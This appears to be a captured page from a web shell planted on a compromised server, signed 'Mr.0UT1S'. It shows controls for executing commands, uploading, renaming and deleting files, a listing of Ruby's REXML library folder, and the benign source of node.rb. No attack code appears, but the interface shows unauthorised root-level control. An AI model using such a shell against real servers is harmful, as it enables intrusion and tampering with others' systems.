opt
/
alt
/
ruby26
/
lib64
/
ruby
/
2.6.0
/
rexml
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] dtd
N/A
[DIR] formatters
N/A
[DIR] light
N/A
[DIR] parsers
N/A
[DIR] validation
N/A
attlistdecl.rb
1.92 KB
Rename
Delete
attribute.rb
5.53 KB
Rename
Delete
cdata.rb
1.59 KB
Rename
Delete
child.rb
2.66 KB
Rename
Delete
comment.rb
2.12 KB
Rename
Delete
doctype.rb
7.97 KB
Rename
Delete
document.rb
9.55 KB
Rename
Delete
element.rb
44.50 KB
Rename
Delete
encoding.rb
1.16 KB
Rename
Delete
entity.rb
5.40 KB
Rename
Delete
functions.rb
12.41 KB
Rename
Delete
instruction.rb
2.14 KB
Rename
Delete
namespace.rb
1.40 KB
Rename
Delete
node.rb
2.18 KB
Rename
Delete
output.rb
553 bytes
Rename
Delete
parent.rb
4.27 KB
Rename
Delete
parseexception.rb
1.25 KB
Rename
Delete
quickpath.rb
9.12 KB
Rename
Delete
rexml.rb
1.29 KB
Rename
Delete
sax2listener.rb
3.61 KB
Rename
Delete
security.rb
824 bytes
Rename
Delete
source.rb
7.67 KB
Rename
Delete
streamlistener.rb
3.84 KB
Rename
Delete
syncenumerator.rb
716 bytes
Rename
Delete
text.rb
13.85 KB
Rename
Delete
undefinednamespaceexception.rb
244 bytes
Rename
Delete
xmldecl.rb
2.91 KB
Rename
Delete
xmltokens.rb
2.32 KB
Rename
Delete
xpath.rb
3.42 KB
Rename
Delete
xpath_parser.rb
28.59 KB
Rename
Delete
# frozen_string_literal: false require_relative "parseexception" require_relative "formatters/pretty" require_relative "formatters/default" module REXML # Represents a node in the tree. Nodes are never encountered except as # superclasses of other objects. Nodes have siblings. module Node # @return the next sibling (nil if unset) def next_sibling_node return nil if @parent.nil? @parent[ @parent.index(self) + 1 ] end # @return the previous sibling (nil if unset) def previous_sibling_node return nil if @parent.nil? ind = @parent.index(self) return nil if ind == 0 @parent[ ind - 1 ] end # indent:: # *DEPRECATED* This parameter is now ignored. See the formatters in the # REXML::Formatters package for changing the output style. def to_s indent=nil unless indent.nil? Kernel.warn( "#{self.class.name}.to_s(indent) parameter is deprecated", uplevel: 1) f = REXML::Formatters::Pretty.new( indent ) f.write( self, rv = "" ) else f = REXML::Formatters::Default.new f.write( self, rv = "" ) end return rv end def indent to, ind if @parent and @parent.context and not @parent.context[:indentstyle].nil? then indentstyle = @parent.context[:indentstyle] else indentstyle = ' ' end to << indentstyle*ind unless ind<1 end def parent? false; end # Visit all subnodes of +self+ recursively def each_recursive(&block) # :yields: node self.elements.each {|node| block.call(node) node.each_recursive(&block) } end # Find (and return) first subnode (recursively) for which the block # evaluates to true. Returns +nil+ if none was found. def find_first_recursive(&block) # :yields: node each_recursive {|node| return node if block.call(node) } return nil end # Returns the position that +self+ holds in its parent's array, indexed # from 1. def index_in_parent parent.index(self)+1 end end end
Save